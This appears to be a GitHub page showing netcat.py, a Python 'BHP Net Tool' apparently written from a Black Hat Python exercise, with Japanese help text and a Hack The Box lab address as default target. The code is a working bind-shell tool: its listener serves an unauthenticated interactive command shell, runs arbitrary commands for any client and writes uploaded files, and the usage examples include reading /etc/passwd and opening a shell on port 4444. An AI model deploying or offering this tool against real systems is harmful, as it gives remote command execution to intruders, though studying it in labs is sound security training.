-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathnetcat.py
More file actions
148 lines (129 loc) · 4.82 KB
/
netcat.py
File metadata and controls
148 lines (129 loc) · 4.82 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import argparse
import locale
import os
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
if os.name == "nt":
shell = True
else:
shell = False
output = subprocess.check_output(shlex.split(cmd),
stderr=subprocess.STDOUT,
shell=shell)
if locale.getdefaultlocale() == ('ja_JP', 'cp932'):
return output.decode('cp932')
else:
return output.decode()
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode()
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print('User terminated.')
self.socket.close()
sys.exit()
except EOFError as e:
print(e)
def listen(self):
print('listening')
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(target=self.handle, args=(client_socket,))
client_thread.start()
def handle(self, client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
print(len(file_buffer))
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
elif self.args.command:
cmd_buffer = b''
while True:
try:
client_socket.send(b'<BHP:#> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'server killed {e}')
self.socket.close()
sys.exit()
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='BHP Net Tool',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent('''実行例:
# 対話型コマンドシェルの起動
netcat.py -t 10.11.14.13 -p 4444 -l -c
# ファイルのアップロード
netcat.py -t 10.11.14.13 -p 4444 -l -u=mytest.whatisup
# コマンドの実行
netcat.py -t 10.11.14.13 -p 4444 -l -e=\"cat /etc/passwd\"
# 通信先サーバーの135番ポートに文字列を送信
echo 'ABCDEFGHI' | ./netcat.py -t 10.11.14.13 -p 135
# サーバーに接続
netcat.py -t 10.11.14.13 -p 4444
'''))
parser.add_argument('-c', '--command', action='store_true', help='対話型シェルの初期化')
parser.add_argument('-e', '--execute', help='指定のコマンドの実行')
parser.add_argument('-l', '--listen', action='store_true', help='通信待受モード')
parser.add_argument('-p', '--port', type=int, default=4444, help='ポート番号の指定')
parser.add_argument('-t', '--target', default='10.11.14.13', help='IPアドレスの指定、デフォでHTB用仮想環境')
parser.add_argument('-u', '--upload', help='ファイルのアップロード')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode('utf-8'))
nc.run()